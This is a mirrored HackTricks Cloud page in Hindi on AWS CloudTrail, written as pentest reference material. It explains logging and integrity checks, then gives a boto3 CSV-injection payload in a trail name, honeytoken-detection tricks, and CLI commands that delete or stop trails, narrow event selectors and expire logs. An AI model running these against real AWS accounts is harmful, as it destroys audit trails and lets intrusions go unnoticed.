mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
278 lines
29 KiB
Markdown
278 lines
29 KiB
Markdown
# AWS - CloudTrail Enum
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## **CloudTrail**
|
|
|
|
AWS CloudTrail **आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है**। यह विस्तृत **इवेंट लॉग** कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।
|
|
|
|
प्रत्येक लॉग की गई घटना में शामिल है:
|
|
|
|
- कॉल की गई API का नाम: `eventName`
|
|
- कॉल की गई सेवा: `eventSource`
|
|
- समय: `eventTime`
|
|
- आईपी पता: `SourceIPAddress`
|
|
- एजेंट विधि: `userAgent`। उदाहरण:
|
|
- Signing.amazonaws.com - AWS प्रबंधन कंसोल से
|
|
- console.amazonaws.com - खाते का रूट उपयोगकर्ता
|
|
- lambda.amazonaws.com - AWS Lambda
|
|
- अनुरोध पैरामीटर: `requestParameters`
|
|
- प्रतिक्रिया तत्व: `responseElements`
|
|
|
|
घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में भेजी जाती हैं।**\
|
|
CloudTrail के लॉग को **खातों और क्षेत्रों के बीच समेकित किया जा सकता है।**\
|
|
CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको भेजे जाने के बाद अपरिवर्तित रही हैं।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\
|
|
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।
|
|
|
|
लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
|
|
|
|
लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**:
|
|
|
|
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
|
- बकेट का नाम: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
|
- उदाहरण: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
|
|
|
|
प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का **नाम इस प्रारूप का पालन करेगा**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
|
|
|
लॉग फ़ाइल नामकरण सम्मेलन
|
|
|
|
.png>)
|
|
|
|
इसके अलावा, **डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए)** **समान बकेट** में होंगी:
|
|
|
|
.png>)
|
|
|
|
### कई खातों से लॉग समेकित करना
|
|
|
|
- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें भेजी जाना चाहते हैं
|
|
- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
|
|
- अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें
|
|
|
|
हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।
|
|
|
|
> [!CAUTION]
|
|
> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं और विभिन्न बकेट में समान (या विभिन्न) लॉग को स्टोर कर सकते हैं।
|
|
|
|
### सभी संगठन खातों से 1 में CloudTrail
|
|
|
|
जब एक CloudTrail बनाया जाता है, तो यह संकेत देना संभव है कि सभी खातों के लिए CloudTrail सक्रिय किया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:
|
|
|
|
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
|
|
|
|
### लॉग फ़ाइलों की जांच
|
|
|
|
आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं हुआ है।
|
|
```javascript
|
|
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
|
|
```
|
|
### Logs to CloudWatch
|
|
|
|
**CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\
|
|
ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:
|
|
|
|
- CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है
|
|
- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में वितरित करें
|
|
|
|
### Event History
|
|
|
|
CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है:
|
|
|
|
.png>)
|
|
|
|
### Insights
|
|
|
|
**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल्स से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**।
|
|
|
|
Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
|
|
|
### Security
|
|
|
|
| CloudTrail Log File Integrity | <ul><li>जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)</li><li><p>डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)</p><ul><li>SHA-256 हैशिंग</li><li>डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA</li><li>प्राइवेट की अमेज़न के पास है</li></ul></li><li>डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)</li></ul> |
|
|
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
|
| Stop unauthorized access | <ul><li><p>IAM नीतियों और S3 बकेट नीतियों का उपयोग करें</p><ul><li>सुरक्षा टीम —> व्यवस्थापक पहुंच</li><li>ऑडिटर्स —> केवल पढ़ने की पहुंच</li></ul></li><li>लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें</li></ul> |
|
|
| Prevent log files from being deleted | <ul><li>IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें</li><li>S3 MFA हटाने के लिए कॉन्फ़िगर करें</li><li>लॉग फ़ाइल सत्यापन के साथ मान्य करें</li></ul> |
|
|
|
|
## Access Advisor
|
|
|
|
AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS API कॉल और संबंधित घटनाओं का एक इतिहास कैप्चर करता है जो AWS खाते में की गई हैं। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और संभावित रूप से वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
|
|
|
|
> [!TIP]
|
|
> इसलिए, Access Advisor **उपयोगकर्ताओं को दी गई अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
|
|
|
|
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Actions
|
|
|
|
### Enumeration
|
|
```bash
|
|
# Get trails info
|
|
aws cloudtrail list-trails
|
|
aws cloudtrail describe-trails
|
|
aws cloudtrail list-public-keys
|
|
aws cloudtrail get-event-selectors --trail-name <trail_name>
|
|
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
|
|
|
|
# Get insights
|
|
aws cloudtrail get-insight-selectors --trail-name <trail_name>
|
|
|
|
# Get data store info
|
|
aws cloudtrail list-event-data-stores
|
|
aws cloudtrail list-queries --event-data-store <data-source>
|
|
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
|
|
```
|
|
### **CSV Injection**
|
|
|
|
CloudTrail के अंदर CVS इंजेक्शन करना संभव है जो मनमाने कोड को निष्पादित करेगा यदि लॉग को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है।\
|
|
निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है:
|
|
```python
|
|
import boto3
|
|
payload = "=cmd|'/C calc'|''"
|
|
client = boto3.client('cloudtrail')
|
|
response = client.create_trail(
|
|
Name=payload,
|
|
S3BucketName="random"
|
|
)
|
|
print(response)
|
|
```
|
|
अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें:
|
|
|
|
{{#ref}}
|
|
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
|
{{#endref}}
|
|
|
|
इस विशेष तकनीक के बारे में अधिक जानकारी के लिए देखें [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
|
|
|
## **डिटेक्शन बायपास**
|
|
|
|
### HoneyTokens **बायपास**
|
|
|
|
Honeytokens को **संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने** के लिए बनाया गया है। AWS के मामले में, ये **AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है**, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।
|
|
|
|
हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, **तो आप जान सकते हैं कि कुंजी एक Honeytoken है या नहीं**।
|
|
|
|
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** से संबंधित है:**
|
|
|
|
- यदि **`canarytokens.org`** भूमिका नाम में दिखाई देता है या खाता ID **`534261010715`** त्रुटि संदेश में दिखाई देती है।
|
|
- हाल ही में उनका परीक्षण करते समय, वे खाता **`717712589309`** का उपयोग कर रहे हैं और नाम में अभी भी **`canarytokens.com`** स्ट्रिंग है।
|
|
- यदि **`SpaceCrab`** त्रुटि संदेश में भूमिका नाम में दिखाई देता है
|
|
- **SpaceSiren** उपयोगकर्ता नाम उत्पन्न करने के लिए **uuids** का उपयोग करता है: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
|
- यदि **नाम यादृच्छिक रूप से उत्पन्न होता है**, तो यह एक HoneyToken होने की उच्च संभावनाएँ हैं।
|
|
|
|
#### कुंजी ID से खाता ID प्राप्त करें
|
|
|
|
आप **एक्सेस कुंजी** के अंदर **कोडित** से **खाता ID** प्राप्त कर सकते हैं जैसे कि [**यहां समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें:
|
|
```python
|
|
import base64
|
|
import binascii
|
|
|
|
def AWSAccount_from_AWSKeyID(AWSKeyID):
|
|
|
|
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
|
|
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
|
|
y = x[0:6]
|
|
|
|
z = int.from_bytes(y, byteorder='big', signed=False)
|
|
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
|
|
|
|
e = (z & mask)>>7
|
|
return (e)
|
|
|
|
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
|
|
```
|
|
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
|
|
|
#### लॉग उत्पन्न न करें
|
|
|
|
इसका सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है अपने हमलावर खाते के अंदर किसी सेवा तक पहुँचने के लिए। इससे **CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं**।
|
|
|
|
बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए **आप देख पाएंगे कि क्या यह एक Honeytoken है**।
|
|
|
|
#### लॉग के बिना AWS सेवाएँ
|
|
|
|
अतीत में कुछ **AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं** (यहाँ एक [सूची खोजें](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))। उन सेवाओं में से कुछ **त्रुटि** के साथ **कुंजी भूमिका का ARN** प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है।
|
|
|
|
इस तरह, एक **हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है**। ARN में हमलावर **AWS खाता आईडी और नाम** देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।
|
|
|
|
.png>)
|
|
|
|
> [!CAUTION]
|
|
> ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रही थीं, अब ठीक कर दी गई हैं, इसलिए शायद आपको अपनी खुद की खोज करनी होगी...
|
|
>
|
|
> अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) देखें।
|
|
|
|
### तीसरी अवसंरचना तक पहुँच
|
|
|
|
कुछ AWS सेवाएँ **कुछ अवसंरचना** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS) उत्पन्न करेंगी। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
|
|
|
|
इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**।
|
|
|
|
अधिक जानकारी में:
|
|
|
|
{{#ref}}
|
|
../../aws-post-exploitation/aws-eks-post-exploitation.md
|
|
{{#endref}}
|
|
|
|
### CloudTrail कॉन्फ़िग को संशोधित करना
|
|
|
|
#### ट्रेल्स हटाएँ
|
|
```bash
|
|
aws cloudtrail delete-trail --name [trail-name]
|
|
```
|
|
#### स्टॉप ट्रेल्स
|
|
```bash
|
|
aws cloudtrail stop-logging --name [trail-name]
|
|
```
|
|
#### मल्टी-रीजन लॉगिंग बंद करें
|
|
```bash
|
|
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
|
```
|
|
#### ईवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें
|
|
```bash
|
|
# Leave only the ReadOnly selector
|
|
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
|
|
|
# Remove all selectors (stop Insights)
|
|
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
|
```
|
|
पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail insights **लिखने के इवेंट की जांच नहीं करेगा** उदाहरण के लिए)।
|
|
|
|
आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।
|
|
|
|
#### S3 जीवनचक्र नीति के माध्यम से लॉग हटाना
|
|
```bash
|
|
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
|
```
|
|
### बकेट कॉन्फ़िगरेशन को संशोधित करना
|
|
|
|
- S3 बकेट को हटाएँ
|
|
- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके
|
|
- S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके
|
|
- CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें
|
|
|
|
### Cloudtrail रैनसमवेयर
|
|
|
|
#### S3 रैनसमवेयर
|
|
|
|
आप **एक विषम कुंजी उत्पन्न** कर सकते हैं और **CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट** करने के लिए बना सकते हैं और **निजी कुंजी को हटा सकते हैं** ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके।\
|
|
यह मूल रूप से एक **S3-KMS रैनसमवेयर** है जो कि इस में समझाया गया है:
|
|
|
|
{{#ref}}
|
|
../../aws-post-exploitation/aws-s3-post-exploitation.md
|
|
{{#endref}}
|
|
|
|
**KMS रैनसमवेयर**
|
|
|
|
यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है:
|
|
|
|
{{#ref}}
|
|
../../aws-post-exploitation/aws-kms-post-exploitation.md
|
|
{{#endref}}
|
|
|
|
## **संदर्भ**
|
|
|
|
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|